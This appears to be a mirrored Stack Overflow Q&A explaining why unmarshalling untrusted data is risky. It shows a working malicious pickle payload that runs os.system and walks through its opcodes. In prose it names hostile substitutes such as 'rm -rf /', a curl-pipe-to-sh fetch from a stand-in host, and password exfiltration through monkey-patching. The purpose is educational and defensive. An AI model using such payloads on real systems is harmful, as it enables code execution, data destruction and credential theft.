问题

I work on a project where I use cPickle to load files quickly. A couple of days ago I read that marshal can be even faster than cPickle. It works for me, but I'm curious, what is this warning from the documentation about:

Warning

The marshal module is not intended to be secure against erroneous or maliciously constructed data. Never unmarshal data received from an untrusted or unauthenticated source.

What could exactly happen if I'm not careful?

回答1:

Marshal

There are no known ways to exploit marshal. Actually executing code when using marshal.loads() is not something I was able to do, and looking at the marhal.c source code, I don't see an immediately obvious way.

So why is this warning here? The BDFL explains:

BTW the warning for marshal is legit -- the C code that unpacks marshal data has not been carefully analyzed against buffer overflows and so on. Remember the first time someone broke into a system through a malicious JPEG? The same could happen with marshal. Seriously.

I recommend you read the rest of the discussion; a bug is shown where unmarshaling data causes Python to segfault; this has been fixed since Python 2.5 (this bug could, potentially, be abused to execute code). Other bugs may still exist, though!

Furthermore, the marshal docs mention:

This is not a general “persistence” module. [..] The marshal module exists mainly to support reading and writing the “pseudo-compiled” code for Python modules of .pyc files.

So it's not even designed to persist data in a reliable way.

Pickle

You can easily execute arbitrary code with pickle. For example:

>>> import pickle
>>> pickle.loads(b"cos\nsystem\n(S'ls /'\ntR.")
bin   data  download  home  lib64       mnt  proc  run   srv  tmp     usr      var
boot  dev   etc       lib   lost+found  opt  root  sbin  sys  ubuntu  vagrant
0

This was a harmless ls /, but could also be a less harmless rm -rf /, or a curl http://example.com/hack.sh | sh.

You can see how this works by using the pickletools module:

>>> import pickletools
>>> pickletools.dis(b"cos\nsystem\n(S'ls /'\ntR.")
    0: c    GLOBAL     'os system'
   11: (    MARK
   12: S        STRING     'ls /'
   20: t        TUPLE      (MARK at 11)
   21: R    REDUCE
   22: .    STOP

pickle.py has some comments on what these opcodes mean:

GLOBAL         = b'c'   # push self.find_class(modname, name); 2 string args 
MARK           = b'('   # push special markobject on stack
STRING         = b'S'   # push string; NL-terminated string argument
TUPLE          = b't'   # build tuple from topmost stack items
REDUCE         = b'R'   # apply callable to argtuple, both on stack
STOP           = b'.'   # every pickle ends with STOP

Most of it is self-explanatory; with GLOBAL you can get any function, and with REDUCE you call it.

Since Python is pretty dynamic, you can also use this to monkey-patch a program in run-time. For example, you could change the check_password function with one where you upload the password to a server.

So what is secure?

XML, json, MessagePack, ini files, or perhaps something else. It depends on which format is the best in your situation.

Has this code been "carefully analyzed against buffer overflows and so on"? Who knows. Most code hasn't, and C makes it easy to do things wrong.¹ Even Python code may be vulnerable, as it may call functions implemented in C that are vulnerable.

There have been problems with Python's JSON module. But at the same time, it's used a lot in public-facing apps, so it's probably safe. It'll certainly be safer than marshal, since this was only designed for .pyc files and explicitly comes with a "not audited!" warning.

This is of course no guarantee. Remember that YAML security hole a few years back that caused every Ruby on Rails application in the world to be vulnerable to arbitrary code execution. Oops! And this wasn't even a subtle buffer overflow, but a much more obvious problem.

Note that you should not use yaml's load() method, as this has the same problems as Ruby's YAML. Use safe_load() instead.

Conclusion

The warning in the pickle module is very much warranted (it should probably be stated stronger), while the warning above the marshal module seems to be more of a "this code was not designed with security in mind"-type of warning, but actually exploiting it is not as easy, and relies on the hypothetical existence on unknown bugs. Still, you're probably better off using something else.

¹ There really ought to be a "carefully analyzed against buffer overflows and so on" seal of trust for open source projects. Yeah, you can shelf out the big bucks and get your code analyzed by Veracode and such, but this is not feasible for open source projects. There is some effort to do this after the OpenSSL Heartbleed clusterfuck a few years ago in the form of the Core Infrastructure Initiative, but its scope and budget are fairly limited (but it's fairly young, and may gain traction in a few years).

来源：https://stackoverflow.com/questions/26931919/marshal-unserialization-not-secure

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python